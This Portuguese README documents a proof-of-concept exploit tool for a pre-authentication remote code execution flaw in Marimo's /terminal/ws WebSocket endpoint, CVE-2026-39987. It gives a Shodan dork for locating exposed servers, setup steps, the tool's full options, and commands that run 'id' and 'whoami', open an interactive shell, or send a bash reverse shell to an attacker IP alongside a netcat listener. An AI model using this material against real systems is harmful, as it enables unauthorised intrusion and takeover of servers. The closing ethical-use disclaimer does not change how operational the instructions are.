
CVE-2026-39987 Ferramenta de Exploração - Marimo < 0.23.0 Pre-Auth RCE (WebSocket)
Exploit de Prova de Conceito (PoC) para uma vulnerabilidade crítica de Execução Remota de Código (RCE) Pré-Autenticação em versões do Marimo anteriores a 0.23.0.
A vulnerabilidade permite que um atacante não autenticado se conecte ao endpoint WebSocket (/terminal/ws) e execute comandos arbitrários do sistema no servidor alvo.
/api/version).--no-check para ambientes onde os endpoints possam estar ocultos.Você pode usar o seguinte dork para identificar instâncias potencialmente vulneráveis:
http.favicon.hash:-1864630356
É recomendado usar um ambiente virtual Python para instalar as dependências.
# 1. Clone the repository
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. Create and activate a virtual environment
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. Upgrade pip and Install required dependencies
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target Target URL (e.g. http://localhost:8080)
command Command to execute (omit when using -i)
options:
-h, --help show this help message and exit
--no-check Skip vulnerability version check
Execution modes:
-i, --interactive Interactive shell mode
--revshell IP PORT Generate & send a bash reverse shell payload
WebSocket tuning:
--ping-interval SEC WebSocket ping interval in seconds (default: 30, more frequent for stability)
--ping-timeout SEC WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
--no-ping Disable WebSocket ping/pong entirely (recommended if still disconnect)
Reconnect options:
--max-retries N Max auto-reconnect attempts (default: 5)
--no-reconnect Disable auto-reconnect on unexpected disconnect
1. Executar um único comando:
python CVE-2026-39987.py http://target.com:8080 "id"
2. Iniciar um shell interativo:
python CVE-2026-39987.py http://target.com:8080 -i
3. Executar um reverse shell:
Certifique-se de ter um netcat listener em execução na sua máquina (ex: nc -lvnp 4444).
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. Ignorar verificações e forçar execução:
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
Contribuições são bem-vindas! Sinta-se à vontade para enviar um Pull Request.
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)Esta ferramenta é estritamente para fins educacionais e hacking ético autorizado. O autor não se responsabiliza por qualquer uso indevido, danos ou atividades ilegais causadas por este script. Sempre certifique-se de ter permissão explícita do proprietário do sistema antes de realizar qualquer teste de segurança. O uso não autorizado deste script é ilegal e punível por lei.
Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.